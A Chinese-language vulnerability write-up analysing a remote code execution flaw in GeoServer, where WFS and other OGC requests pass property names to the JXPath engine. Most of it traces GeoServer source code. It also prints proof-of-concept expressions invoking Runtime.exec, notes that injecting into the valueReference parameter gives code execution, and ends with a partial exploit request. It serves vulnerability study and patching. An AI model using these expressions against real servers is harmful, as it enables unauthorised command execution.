作者:pysnow@微步漏洞团队
漏洞描述
GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理信息数据。
GeoServer2.23.6、2.24.4和2.25.2之前版本存在远程代码执行漏洞,该漏洞源于Geoserver使用的第三方库GeoTool因为使用了不安全的commons-jxpath 引擎处理xpath语句导致未授权能够通过发送各类OGC请求控制了复杂的xpath表达式并注入恶意代码从而rce。
影响版本
- version < 2.23.6
- version < 2.24.4
- version < 2.25.2
环境搭建
war包下载地址:
https://sourceforge.net/projects/geoserver/files/GeoServer/2.25.1/geoserver-2.25.1-war.zip
源码下载地址:
https://github.com/geoserver/geoserver/archive/2.25.1.zip
下载官网的war放在tomcat里面一键部署,注意取消运行前的项目构建,因为Geoserver依赖的geotool库需要在osgo源下载,导致构建失败,当然也可以配置镜像源自己编译系统启动。另外该版本需要jdk11或17启动。
漏洞复现流程
这里记录一下当时通过通告进行复现的流程,厂商通过给了以下参考链接
漏洞通告:https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
GeoTool组件通告:https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
Jxpath漏洞利用:https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852
通过漏洞通告我们知道这是由于GeoServer 调用的 GeoTools 库存在问题,GeoTools存在Jxpath漏洞的利用,然后Geoserver又能通过发送OGC请求去调用到存在漏洞的触发点,即evaluates property/attribute names for feature types导致了该漏洞。
接着我们继续看GeoTool的通告,可以看到这里直接给出了存在漏洞的api,以及一个poc样例
org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.countXPathNodes(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.getSingleXPathValue(NamespaceSupport, String, Document)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class<T>)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.set(Object, String, Object, Class)
org.geotools.data.complex.expression.MapPropertyAccessorFactory.new PropertyAccessor() {...}.get(Object, String, Class<T>)
org.geotools.xsd.StreamingParser.StreamingParser(Configuration, InputStream, String)
new org.geotools.xsd.StreamingParser(
new org.geotools.filter.v1_0.OGCConfiguration(),
new java.io.ByteArrayInputStream("<Filter></Filter>".getBytes()),
"java.lang.Thread.sleep(5000)")
.parse();
从这里给出的样例,以及该漏洞的描述我们可以知道,这些存在漏洞的api传入的参数会经过Jxpath引擎去解析,从而导致的这些漏洞api。另外关于Jxpath漏洞其实就是Apache Commons Jxpath之前爆出来的一个漏洞,这个Jxpath组件对传统xpath语句进行了拓展,支持xpath语句中插入一些表达式语言的特性,即能够调用任意public的静态方法等导致的任意代码执行。
接着我们知道了漏洞是因为调用了这些api导致,我最开始的想法就是直接去搜索使用了这些API的代码,发现并没有找到
只能找到这一处,但是这里很明显只能控制第二个参数,与漏洞描述给出的poc实例有差别,并且要调用到这里的流程也不好找,因为wps属于是extend拓展类那一块的。
所以接着我选择从前往后找,毕竟Geoserver的漏洞通告中直接给出了可能存在的漏洞请求,以及请求方法如下
WFS GetFeature
WFS GetPropertyValue
WMS GetMap
WMS GetFeatureInfo
WMS GetLegendGraphic
WPS Execute
接着直接就在官网的文档找到了WFS GetPropertyValue的样例
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html
然后构造请求修改一下valueReference参数的值就能成功RCE
至于为什么是valueReference参数,根据参数盲测出来的,一下是当时调试的过程,之所以没搜到是因为他这里的acctor.get()方法不是显示调用的,在代码里面没有体现,所以不能够直接搜索出来
DefaultWebFeatureService20#getPropertyValue
在GetPropertyValue#run()这里是具体处理 WFS (Web Feature Service) 请求的方法
public ValueCollectionType run(GetPropertyValueType request) throws WFSException {
// 参数验证
if (request.getValueReference() == null) {
throw new WFSException(request, "No valueReference specified", "MissingParameterValue")
.locator("valueReference");
} else if ("".equals(request.getValueReference().trim())) {
throw new WFSException(
request,
"ValueReference cannot be empty",
ServiceException.INVALID_PARAMETER_VALUE)
.locator("valueReference");
}
// 创建 GetFeature 请求
GetFeatureType getFeature = Wfs20Factory.eINSTANCE.createGetFeatureType();
getFeature.setBaseUrl(request.getBaseUrl());
getFeature.getAbstractQueryExpression().add(request.getAbstractQueryExpression());
getFeature.setResolve(request.getResolve());
getFeature.setResolveDepth(request.getResolveDepth());
getFeature.setResolveTimeout(request.getResolveTimeout());
getFeature.setCount(request.getCount());
// 执行 GetFeature 请求
FeatureCollectionType fc =
(FeatureCollectionType)
delegate.run(GetFeatureRequest.adapt(getFeature)).getAdaptee();
// 获取特性类型信息
QueryType query = (QueryType) request.getAbstractQueryExpression();
QName typeName = (QName) query.getTypeNames().iterator().next();
FeatureTypeInfo featureType =
catalog.getFeatureTypeByName(typeName.getNamespaceURI(), typeName.getLocalPart());
try {
// 属性名解析
PropertyName propertyName =
filterFactory.property(request.getValueReference(), getNamespaceSupport());
PropertyName propertyNameNoIndexes =
filterFactory.property(
request.getValueReference().replaceAll("\\[.*\\]", ""),
getNamespaceSupport());
AttributeDescriptor descriptor =
(AttributeDescriptor)
propertyNameNoIndexes.evaluate(featureType.getFeatureType());
boolean featureIdRequest =
FEATURE_ID_PATTERN.matcher(request.getValueReference()).matches();
if (descriptor == null && !featureIdRequest) {
throw new WFSException(
request, "No such attribute: " + request.getValueReference());
}
// 创建 ValueCollectionType 对象
ValueCollectionType vc = Wfs20Factory.eINSTANCE.createValueCollectionType();
vc.setTimeStamp(fc.getTimeStamp());
vc.setNumberMatched(fc.getNumberMatched());
vc.setNumberReturned(fc.getNumberReturned());
vc.getMember()
.add(
new PropertyValueCollection(
fc.getMember().iterator().next(), descriptor, propertyName));
return vc;
} catch (IOException e) {
throw new WFSException(request, e);
}
}
在propertyNameNoIndexes.evaluate(featureType.getFeatureType())调用了geotool的evaluate方法,跟进去
这里发现调用了存在漏洞的api,org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class<t>)</t>
漏洞分析
Jxpath
JXPath是apache公司提供的XPath的java实现,JXPath 提供了用于遍历 JavaBean、DOM 和其他类型的对象的图形的 API,同时提供了一套扩展机制使我们可以增加对这些对象之外的其他对象模型的支持(重点).
JXPath支持标准的XPath函数,开箱即用。它还支持 "标准 "扩展函数,这些函数基本上是通往Java的桥梁,以及完全自定义的扩展函数.
commons-jxpath:commons-jxpath <= 1.3
简单来说就是一个java拓展的xpath库,他相比较于传统的xpath进行了针对java的拓展,能够像表达式语言一样能够在表达式里面new对象调用静态方法了
这里就分别有三个例子来表示他的用法
- 通过
.new
创建对象,调用构造器方法 - 能够调用任意静态方法(public)
-
getAuthorsFirstName($book)
,相当于$book.getAuthorsFirstName
调用某对象的xx方法
漏洞原理比较简单,使用第三个用法,exec(Runtime.getRuntime(),'')就能够执行任意命令
try {
JXPathContext context = JXPathContext.newContext(null);
context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')");
} catch (Exception e) {
e.printStackTrace();
}
WFS GetPropertyValue
Web Feature Service (WFS)是开放地理空间联盟(OGC)创建的一个标准,用于在互联网上使用HTTP创建、修改和交换矢量格式的地理信息。WFS以地理标记语言(GML)编码和传输信息,GML是XML的一个子集。
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html
以上是Geoserver对于wfs的介绍,其实就可以理解为一个协议,能够访问通过http访问地理信息的协议,然后该协议在不同版本有许多操作
而我们需要利用的就是存在于2.0.0版本的GetPropertyValue操作
从数据存储中为使用查询表达式标识的一组功能检索功能属性的值或复杂功能属性的部分值
从描述就可以发现他是通过表达式语言查询对应的Property属性,这里具体指的就是特定地理特征类型(如地图中的河流、建筑物等)的描述信息,包括其属性和其他特性的定义。
接着我们来调试一下这个过程
首先在org.geoserver.ows.Dispatcher#handleRequestInternal接受并处理wfs请求的操作并分配给对应的service去执行,这里就是Operation( GetPropertyValue, wfs )
接着在org.geoserver.wfs.DefaultWebFeatureService20#getPropertyValue这里就为getPropertyValue操作的具体service处理类了,继续跟进run
public ValueCollectionType run(GetPropertyValueType request) throws WFSException {
// 检查请求中的 valueReference 是否为空,如果为空则抛出异常
if (request.getValueReference() == null) {
throw new WFSException(request, "No valueReference specified", "MissingParameterValue")
.locator("valueReference");
} else if ("".equals(request.getValueReference().trim())) { // 检查 valueReference 是否为空字符串,如果是则抛出异常
throw new WFSException(
request,
"ValueReference cannot be empty",
ServiceException.INVALID_PARAMETER_VALUE)
.locator("valueReference");
}
// 创建一个 GetFeatureType 请求
GetFeatureType getFeature = Wfs20Factory.eINSTANCE.createGetFeatureType();
// 设置请求的基础 URL
getFeature.setBaseUrl(request.getBaseUrl());
// 添加请求的查询表达式
getFeature.getAbstractQueryExpression().add(request.getAbstractQueryExpression());
// 设置请求的解析方式
getFeature.setResolve(request.getResolve());
// 设置请求的解析深度
getFeature.setResolveDepth(request.getResolveDepth());
// 设置请求的解析超时时间
getFeature.setResolveTimeout(request.getResolveTimeout());
// 设置请求的计数
getFeature.setCount(request.getCount());
// 运行 GetFeature 请求并获取 FeatureCollectionType 对象
FeatureCollectionType fc =
(FeatureCollectionType)
delegate.run(GetFeatureRequest.adapt(getFeature)).getAdaptee();
// 从请求的查询表达式中获取 QueryType 对象
QueryType query = (QueryType) request.getAbstractQueryExpression();
// 从 QueryType 对象中获取类型名称
QName typeName = (QName) query.getTypeNames().iterator().next();
// 从目录中获取 FeatureTypeInfo 对象
FeatureTypeInfo featureType =
catalog.getFeatureTypeByName(typeName.getNamespaceURI(), typeName.getLocalPart());
try {
// 创建 PropertyName 对象
PropertyName propertyName =
filterFactory.property(request.getValueReference(), getNamespaceSupport());
// 创建没有索引的 PropertyName 对象
PropertyName propertyNameNoIndexes =
filterFactory.property(
request.getValueReference().replaceAll("\\[.*\\]", ""),
getNamespaceSupport());
// 评估 FeatureType 的 AttributeDescriptor
AttributeDescriptor descriptor =
(AttributeDescriptor)
propertyNameNoIndexes.evaluate(featureType.getFeatureType());
// 检查是否是特性 ID 请求
boolean featureIdRequest =
FEATURE_ID_PATTERN.matcher(request.getValueReference()).matches();
// 如果 descriptor 为 null 并且不是特性 ID 请求,则抛出异常
if (descriptor == null && !featureIdRequest) {
throw new WFSException(
request, "No such attribute: " + request.getValueReference());
}
// 从特性集合创建 ValueCollectionType 对象
ValueCollectionType vc = Wfs20Factory.eINSTANCE.createValueCollectionType();
// 设置时间戳
vc.setTimeStamp(fc.getTimeStamp());
// 设置匹配数量
vc.setNumberMatched(fc.getNumberMatched());
// 设置返回数量
vc.setNumberReturned(fc.getNumberReturned());
// 添加新的 PropertyValueCollection 到成员中
vc.getMember()
.add(
new PropertyValueCollection(
fc.getMember().iterator().next(), descriptor, propertyName));
// 返回 ValueCollectionType 对象
return vc;
} catch (IOException e) { // 捕获并处理 IOException
throw new WFSException(request, e);
}
}
主要代码在propertyNameNoIndexes.evaluate(featureType.getFeatureType())这一块,propertyName就是我们要查询的地理类型,然后调用的evaluate去处理的
进入evalute发现这里调用了这个存在漏洞的api,org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class<t>),其中的attPath能够控制,所以就导致了漏洞</t>
public <T> T evaluate(Object obj, Class<T> target) {
// 获取上一次成功的属性访问器
PropertyAccessor accessor = lastAccessor;
// 初始化属性值和成功标志
Object value = false;
boolean success = false;
// 如果属性访问器不为空且能处理当前对象和属性,尝试获取属性值
if (accessor != null && accessor.canHandle(obj, attPath, target)) {
try {
value = accessor.get(obj, attPath, target);
success = true;
} catch (Exception e) {
// 如果失败,我们将尝试另一个访问器
}
}
// 如果没有成功,意味着需要找到一个属性访问器
if (!success) {
// 如果有命名空间支持且没有提示,创建一个新的提示
if (namespaceSupport != null && hints == null) {
hints = new Hints(PropertyAccessorFactory.NAMESPACE_CONTEXT, namespaceSupport);
}
// 查找所有可能的属性访问器
List<PropertyAccessor> accessors =
PropertyAccessors.findPropertyAccessors(obj, attPath, target, hints);
List<Exception> exceptions = null;
if (accessors != null) {
// 对于每一个属性访问器,尝试获取属性值
for (PropertyAccessor propertyAccessor : accessors) {
accessor = propertyAccessor;
try {
value = accessor.get(obj, attPath, target);
success = true;
break;
} catch (Exception e) {
// 如果失败,我们将尝试另一个访问器,并记录这个异常
if (exceptions == null) {
exceptions = new ArrayList<>();
}
exceptions.add(e);
}
}
}
// 如果所有的属性访问器都失败了
if (!success) {
// 如果宽容模式为 true,返回 null
if (lenient) return null;
else {
// 否则,抛出一个异常,并将所有的异常添加到这个异常的抑制异常列表中
IllegalArgumentException exception =
new IllegalArgumentException(
"Could not find working property accessor for attribute ("
+ attPath
+ ") in object ("
+ obj
+ ")");
if (exceptions != null) {
exceptions.forEach(e -> exception.addSuppressed(exception));
}
throw exception;
}
} else {
// 如果找到了一个可以处理当前对象和属性的属性访问器,保存这个属性访问器以供后续使用
lastAccessor = accessor;
}
}
// 如果目标类型为 null,直接返回获取到的属性值
if (target == null) {
return (T) value;
}
// 否则,将获取到的属性值转换为目标类型,并返回
return Converters.convert(value, target);
}
接着我们分析一下为什么当时没有找到这个api的使用点,很明显这里使用了findPropertyAccessors方法动态获取属性访问器accessor,这里我们跟一下findPropertyAccessors的逻辑
/**
* 查找特定对象的一系列 {@link PropertyAccessor}。
*
* <p>此方法将返回所有能够处理提供的对象和xpath表达式的访问器,不保证顺序。
*
* @param object 目标对象。
* @param xpath 表示目标对象属性的xpath表达式。
* @param hints 传递给工厂的提示。
* @return 属性访问器列表,如果对象为null则返回 <code>null</code>
*/
public static List<PropertyAccessor> findPropertyAccessors(
Object object, String xpath, Class target, Hints hints) {
// 如果对象为null,直接返回null
if (object == null) return null;
// 创建一个空的属性访问器列表
List<PropertyAccessor> list = new ArrayList<>();
// 遍历所有的属性访问器工厂
for (PropertyAccessorFactory factory : FACTORY_CACHE) {
// 使用工厂创建属性访问器
PropertyAccessor accessor =
factory.createPropertyAccessor(object.getClass(), xpath, target, hints);
// 如果访问器不为null且能处理当前对象和属性,将其添加到列表中
if (accessor != null && accessor.canHandle(object, xpath, target)) {
list.add(accessor);
}
}
// 返回属性访问器列表
return list;
}
这里遍历内置的那八个accessor调用各自的canHandle方法是否能够处理当前的对象以及xpath参数,能够处理则返回该添加到PropertyAccessor集合里面最后返回这个集合
很明显这里的FeaturePropertyAccessor只需要满足obj继承Attribute或者AttributeType就行了,至于其他的Accessor的canHandler方法可以自己分析一下
注意这里如果传入的是obj自带有的地理数据如这里的the_geom就会通过SimpleFeaturePropertyAccessorFactory的can_handler
总结一下,首先这里的GetPropertyValue请求其实就查询指定图层layer的指定要素,通过valueReference的方式传入属性名,然后这里属性名的查询方式就直接调用的geotool的漏洞api
WFS GetFeature
这个请求是用于从服务器检索地理空间要素的全部或部分属性及几何信息,而通过前面的漏洞的分析我们很容易知道漏洞触发点是在属性名查询这里,所以这里的GetFeature请求我们重点关注一下filter过滤逻辑部分,对于属性名的处理
主要是这一块代码,至于每个OGC请求就不需要我再分析了,直接调一下就能发现在org.geoserver.ows.Dispatcher#handleRequestInternal处理分发wfs操作
然后获取对应的操作方法直接反射调用的
然后在wfs模块内部又会经历一次分发,所以我们调试的话直接在对应service类的run方法开始调就行没什么好说的
public FeatureCollectionResponse run(GetFeatureRequest request) throws WFSException {
List<Query> queries = request.getQueries();
if (queries.isEmpty()) {
throw new WFSException(request, "没有指定查询");
}
// WFS 2.0 验证,如果有锁定,"hits" 不被允许
if (WFSInfo.Version.V_20.compareTo(request.getVersion()) >= 0
&& request.isLockRequest()
&& request.isResultTypeHits()) {
throw new WFSException(
"GetFeatureWithLock 不能用于结果类型 'hits'",
ServiceException.INVALID_PARAMETER_VALUE,
"resultType");
}
// 存储的查询,预处理编译任何存储的查询到实际的查询对象
boolean getFeatureById = processStoredQueries(request);
queries = request.getQueries();
if (request.isQueryTypeNamesUnset()) {
expandTypeNames(request, queries, getFeatureById, getCatalog());
}
String lockId = null;
if (request.isLockRequest()) {
lockId = filterRequestToLocked(request, queries);
}
// 优化思路
//
// 我们应该能够将这个过程减少到两次操作。
//
// 执行第一次操作
// - 在第一次操作中尝试锁定 Fids
// - 同时在第一次操作中收集 Bounds 信息
//
// 写入第二次操作
// - 使用 Bounds 来描述我们的 FeatureCollections
// - 遍历 FeatureResults 生成 GML
//
// 并始终记住如果我们失败了要释放锁:
// - 如果我们无法获取所有需要的锁,我们将需要失败并
// 遍历 FeatureSources 来释放锁
//
BigInteger bi = request.getMaxFeatures();
if (bi == null) {
request.setMaxFeatures(BigInteger.valueOf(Integer.MAX_VALUE));
}
// 考虑到 wfs 的最大特性
int maxFeatures = Math.min(request.getMaxFeatures().intValue(), wfs.getMaxFeatures());
// 如果这只是一个 HITS 请求 AND wfs 设置标志
// hitsIgnoreMaxFeatures 被设置,那么将 maxFeatures 设置为
// geotools 支持的最大值。这目前是
// java.lang.Integer.MAX_VALUE 的最大值,所以即使有匹配的值
// 也不可能返回超过这个值,除非改变 geotools 使用长整型或分页结果。
if (wfs.isHitsIgnoreMaxFeatures() && request.isResultTypeHits()) {
maxFeatures = org.geotools.api.data.Query.DEFAULT_MAX;
}
// 获取视图参数(如果有)
List<Map<String, String>> viewParams = null;
if (request.getViewParams() != null && request.getViewParams().size() > 0) {
viewParams = request.getViewParams();
}
boolean isNumberMatchedSkipped = false;
int count = 0; // 应该是长整型
Supplier<BigInteger> totalCount = () -> BigInteger.ZERO;
// 返回特性的结果集中的偏移量
int totalOffset = request.getStartIndex() != null ? request.getStartIndex().intValue() : -1;
if (totalOffset == -1
&& request.getVersion().startsWith("2")
&& (wfs.isCiteCompliant()
|| (request.getMaxFeatures() != null
&& request.getMaxFeatures().longValue() > 0
&& request.isResultTypeHits()))) {
// 严格遵守 WFS 2.0 规范要求 startindex 默认为零。
// 这不是强制的,因为 startindex 触发排序并降低性能。
// WFS 2.0 的 CITE 测试尚不存在;CITE 合规性设置被视为
// 对 WFS 2.0 规范的严格(更严格)合规性的请求。
// 参见 GEOS-5085。
totalOffset = 0;
}
int offset = totalOffset;
// 特性集合大小,我们可能需要计算它
// 优化:WFS 1.0 不需要计数,除非我们有多个查询元素
// 并且我们被要求对返回的结果进行全局限制
boolean calculateSize =
!(("1.0".equals(request.getVersion()) || "1.0.0".equals(request.getVersion()))
&& (queries.size() == 1 || maxFeatures == Integer.MAX_VALUE));
List<FeatureCollection<? extends FeatureType, ? extends Feature>> results =
new ArrayList<>();
final List<CountExecutor> totalCountExecutors = new ArrayList<>();
try {
for (int i = 0; (i < queries.size()) && (count < maxFeatures); i++) {
Query query = queries.get(i);
try {
// 别名健壮性检查
validateQueryAliases(request, query);
List<FeatureTypeInfo> metas = new ArrayList<>();
for (QName typeName : query.getTypeNames()) {
metas.add(featureTypeInfo(typeName, request));
}
// 第一个是主要的特性类型
FeatureTypeInfo meta = metas.get(0);
// 解析请求的属性名并在请求的类型中分配
List<List<String>> reqPropertyNames = parsePropertyNames(query, metas);
NamespaceSupport ns = getNamespaceSupport();
// 设置连接(如果指定)
List<Join> joins = null;
String primaryAlias = null;
QName primaryTypeName = query.getTypeNames().get(0);
FeatureTypeInfo primaryMeta = metas.get(0);
// 确保过滤器是合理的
//
// 非简单特性类型的过滤器验证尚未支持。
// FIXME: 支持非简单特性类型的过滤器验证:
// 需要考虑 xpath 属性和如何在
// GeoTools app-schema FeaturePropertyAccessorFactory 中配置命名空间前缀。
Filter filter = query.getFilter();
if (filter == null && metas.size() > 1) {
throw new WFSException(request, "连接查询必须指定过滤器");
}
if (filter != null) {
if (meta.getFeatureType() instanceof SimpleFeatureType) {
if (metas.size() > 1) {
// 清理别名,它们不能与特性类型名称冲突
// 也不能与它们的属性冲突
query = AliasedQuery.fixAliases(metas, query);
// 过滤器可能已经被重写
filter = query.getFilter();
// 连接,需要将连接过滤器与其他过滤器分开
JoinExtractingVisitor extractor =
new JoinExtractingVisitor(metas, query.getAliases());
extractor.setQueriedTypes(query.getTypeNames());
filter.accept(extractor, null);
primaryAlias = extractor.getPrimaryAlias();
primaryMeta = extractor.getPrimaryFeatureType();
metas = extractor.getFeatureTypes();
primaryTypeName =
new QName(
primaryMeta.getNamespace().getURI(),
primaryMeta.getName());
joins = extractor.getJoins();
if (joins.size() != metas.size() - 1) {
throw new WFSException(
request,
String.format(
"查询指定了 %d 类型,但找到了 %d "
+ "连接过滤器",
metas.size(), extractor.getJoins().size()));
}
// 验证每个连接的过滤器,以及连接过滤器
for (int j = 1; j < metas.size(); j++) {
Join join = joins.get(j - 1);
validateJoin(request, query, filter, join, metas.get(j));
}
filter = extractor.getPrimaryFilter();
if (filter != null) {
validateFilter(filter, query, primaryMeta, request);
}
} else {
validateFilter(filter, query, meta, request);
}
} else {
BBOXNamespaceSettingVisitor filterVisitor =
new BBOXNamespaceSettingVisitor(ns);
filter.accept(filterVisitor, null);
}
}
List<List<PropertyName>> propNames = new ArrayList<>();
List<List<PropertyName>> allPropNames = new ArrayList<>();
collectPropertyNames(
request, metas, meta, reqPropertyNames, ns, propNames, allPropNames);
// 如果存在,验证 sortby
List<SortBy> sortBy = query.getSortBy();
if (sortBy != null
&& !sortBy.isEmpty()
&& meta.getFeatureType() instanceof SimpleFeatureType) {
validateSortBy(sortBy, meta, request);
}
// 加载主要特性源
Hints hints = null;
if (joins != null) {
hints = new Hints(ResourcePool.JOINS, joins);
}
// 对于 WFS-NG 数据存储 ONLY 的远程重投影
if (meta.getStore()
.getConnectionParameters()
.get(WFSDataStoreFactory.USEDEFAULTSRS.key)
!= null
&& meta.getMetadata().get(FeatureTypeInfo.OTHER_SRS) != null) {
// 如果 wfs-ng 数据存储没有设置为使用默认 srs
// 然后在 OTHER_SRS 列表中找到请求 SRS
if (!Boolean.valueOf(
meta.getStore()
.getConnectionParameters()
.get(WFSDataStoreFactory.USEDEFAULTSRS.key)
.toString())
&& query.getSrsName() != null) {
hints = setWFSCascadingReprojection(query, meta, hints);
}
}
FeatureSource<? extends FeatureType, ? extends Feature> source =
primaryMeta.getFeatureSource(null, hints);
// 处理本地最大值
int queryMaxFeatures = maxFeatures - count;
int metaMaxFeatures = maxFeatures(metas);
if (metaMaxFeatures > 0 && metaMaxFeatures < queryMaxFeatures) {
queryMaxFeatures = metaMaxFeatures;
}
Map<String, String> viewParam = viewParams != null ? viewParams.get(i) : null;
org.geotools.api.data.Query gtQuery =
toDataQuery(
query,
filter,
offset,
queryMaxFeatures,
source,
request,
allPropNames.get(0),
viewParam,
joins,
primaryTypeName,
primaryAlias);
if (LOGGER.isLoggable(Level.FINE)) {
LOGGER.fine("查询是 " + query + "\n 转换为 gt2: " + gtQuery);
}
// 允许扩展修改正在运行的查询
GetFeatureContext context =
new GetFeatureContext(request, meta, source, gtQuery);
List<GetFeatureCallback> callbacks =
GeoServerExtensions.extensions(GetFeatureCallback.class);
if (!callbacks.isEmpty()) {
for (GetFeatureCallback callback : callbacks) {
callback.beforeQuerying(context);
}
if (gtQuery != context.getQuery() && LOGGER.isLoggable(Level.FINE)) {
LOGGER.fine("GetFeatureCallback 更改后的查询: " + source);
}
gtQuery = context.getQuery();
}
FeatureCollection<? extends FeatureType, ? extends Feature> features =
getFeatures(request, source, gtQuery);
if (!(meta.getFeatureType() instanceof SimpleFeatureType)) {
features.getSchema().getUserData().put("targetCrs", query.getSrsName());
features.getSchema()
.getUserData()
.put("targetVersion", request.getVersion());
}
if (!calculateSize) {
// if offset was specified and we have more queries left in this request
// then we
// must calculate size in order to adjust the offset
calculateSize = offset > 0 && i < queries.size() - 1;
}
int size = 0;
if (calculateSize) {
size = features.size();
}
// update the count
count += size;
isNumberMatchedSkipped =
meta.getSkipNumberMatched() && !request.isResultTypeHits();
if (!isNumberMatchedSkipped) {
if (calculateSize
&& (queryMaxFeatures == Integer.MAX_VALUE
|| size < queryMaxFeatures)
&& offset <= 0) {
totalCountExecutors.add(new CountExecutor(size));
} else {
org.geotools.api.data.Query qTotal =
toDataQuery(
query,
filter,
0,
Integer.MAX_VALUE,
source,
request,
allPropNames.get(0),
viewParam,
joins,
primaryTypeName,
primaryAlias);
totalCountExecutors.add(new CountExecutor(source, qTotal));
}
}
if (offset > 0) {
if (size > 0) {
// features returned, offset can be set to zero
offset = 0;
} else {
// no features might have been because of the offset that was specified,
// check the size of the same query but with no offset
org.geotools.api.data.Query q2 =
toDataQuery(
query,
filter,
0,
queryMaxFeatures,
source,
request,
allPropNames.get(0),
viewParam,
joins,
primaryTypeName,
primaryAlias);
// int size2 = getFeatures(request, source, q2).size();
int size2 = source.getCount(q2);
if (size2 > 0) {
// adjust the offset for the next query
offset = Math.max(0, offset - size2);
}
}
}
List<PropertyName> metaPropNames = propNames.get(0);
if (features.getSchema() instanceof SimpleFeatureType
&& metaPropNames != null
&& metaPropNames.size() < allPropNames.get(0).size()) {
features = retypeToRequestedProperties(features, metaPropNames);
}
// allow encoders to grab information about this layer if needs be
if (primaryMeta != null) {
features = TypeInfoCollectionWrapper.wrap(features, primaryMeta);
}
results.add(features);
} catch (WFSException e) {
// intercept and set locator to query handle if one was set, or if it simply set
// to GetFeature, which is the default
if (query.getHandle() != null
&& (e.getLocator() == null
|| "GetFeature".equalsIgnoreCase(e.getLocator()))) {
e.setLocator(query.getHandle());
}
throw e;
}
}
totalCount =
updateTotalCount(
maxFeatures,
isNumberMatchedSkipped,
count,
totalOffset,
calculateSize,
totalCountExecutors);
} catch (IOException | SchemaException e) {
throw new WFSException(
request, "Error occurred getting features", e, request.getHandle());
}
return buildResults(
request,
totalOffset,
maxFeatures,
count,
totalCount,
results,
lockId,
getFeatureById);
}
这一部分就是我们构造的filter,直接跟进validateFilter方法他是执行我们的filter的
// 定义一个名为validateFilter的方法,该方法接收四个参数:一个Filter对象,一个Query对象,一个FeatureTypeInfo对象和一个GetFeatureRequest对象。
void validateFilter(
Filter filter, Query query, final FeatureTypeInfo meta, final GetFeatureRequest request)
throws IOException {
// 1. 确保任何属性名都指向一个实际存在的属性
// 获取特征类型
final FeatureType featureType = meta.getFeatureType();
// 创建一个表达式访问器
ExpressionVisitor visitor =
new AbstractExpressionVisitor() {
// 重写visit方法
@Override
public Object visit(PropertyName name, Object data) {
// 如果属性名在特征类型中找不到,并且属性名不是GmlBoundedBy
if (name.evaluate(featureType) == null && !isGmlBoundedBy(name)) {
// 抛出一个WFSException异常,异常信息为"非法的属性名"
throw new WFSException(
request,
"Illegal property name: "
+ name.getPropertyName()
+ " for feature type "
+ meta.prefixedName(),
"InvalidParameterValue");
}
return name;
}
};
// 使用访问器访问过滤器
filter.accept(new AbstractFilterVisitor(visitor), null);
// 2. 确保任何空间谓词都是针对实际的空间属性
// 创建一个过滤器访问器
AbstractFilterVisitor fvisitor =
new AbstractFilterVisitor() {
// 重写visit方法
@Override
protected Object visit(BinarySpatialOperator filter, Object data) {
PropertyName name = null;
// 如果过滤器的第一个表达式是属性名
if (filter.getExpression1() instanceof PropertyName) {
name = (PropertyName) filter.getExpression1();
} else if (filter.getExpression2() instanceof PropertyName) {
// 如果过滤器的第二个表达式是属性名
name = (PropertyName) filter.getExpression2();
}
if (name != null) {
// 检查特征类型以确保其是一个几何类型
AttributeDescriptor att =
(AttributeDescriptor) name.evaluate(featureType);
if (!(att instanceof GeometryDescriptor) && !isGmlBoundedBy(name)) {
// 如果不是,抛出一个WFSException异常,异常信息为"属性不是特征类型的几何属性"
throw new WFSException(
request,
"Property "
+ name
+ " is not geometric in feature type "
+ meta.prefixedName(),
"InvalidParameterValue");
}
}
return filter;
}
};
// 使用访问器访问过滤器
filter.accept(fvisitor, null);
// 3. 确保查询中指定的任何边界都相对于查询上定义的srs是有效的
// 如果wfs是CiteCompliant
if (wfs.isCiteCompliant()) {
// 如果查询的srsName不为空
if (query.getSrsName() != null) {
final Query fquery = query;
// 创建一个CiteBBOXValidator对象
fvisitor = new CiteBBOXValidator(fquery, request);
// 使用访问器访问过滤器
filter.accept(fvisitor, null);
}
}
// 4. 确保在非空间比较中不使用空间属性 (CITE WFS 2.0)
// 如果wfs是CiteCompliant
if (wfs.isCiteCompliant()) {
// 创建一个过滤器访问器
fvisitor =
new AbstractFilterVisitor() {
// 重写visit方法
@Override
protected Object visit(BinaryComparisonOperator filter, Object data) {
Expression ex1 = filter.getExpression1();
Expression ex2 = filter.getExpression2();
// 如果第一个表达式是属性名
if (ex1 instanceof PropertyName) {
checkNonSpatial((PropertyName) ex1);
}
// 如果第二个表达式是属性名
if (ex2 instanceof PropertyName) {
checkNonSpatial((PropertyName) ex2);
}
return super.visit(filter, data);
}
// 定义一个检查非空间的方法
private void checkNonSpatial(PropertyName pn) {
AttributeDescriptor ad = (AttributeDescriptor) pn.evaluate(featureType);
// 如果属性描述符是一个几何描述符或者是GmlBoundedBy
if (ad instanceof GeometryDescriptor || isGmlBoundedBy(pn)) {
// 抛出一个WFSException异常,异常信息为"不能在字母数字二进制比较中使用空间属性"
throw new WFSException(
request,
"Cannot use a spatial property in a alphanumeric binary "
+ "comparison");
}
}
};
// 使用访问器访问过滤器
filter.accept(fvisitor, null);
}
}
这里创建了两个访问器去解析我们的过滤语句,为什么创建的两个,这是因为我们使用的<intersects>是用来指定一个空间关系过滤条件,即要求查询的要素与某个几何体相交。所以用两个访问器分别解析</intersects>
evalute解析属性名这里跟前面一样直接触发漏洞点
漏洞复现
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 2
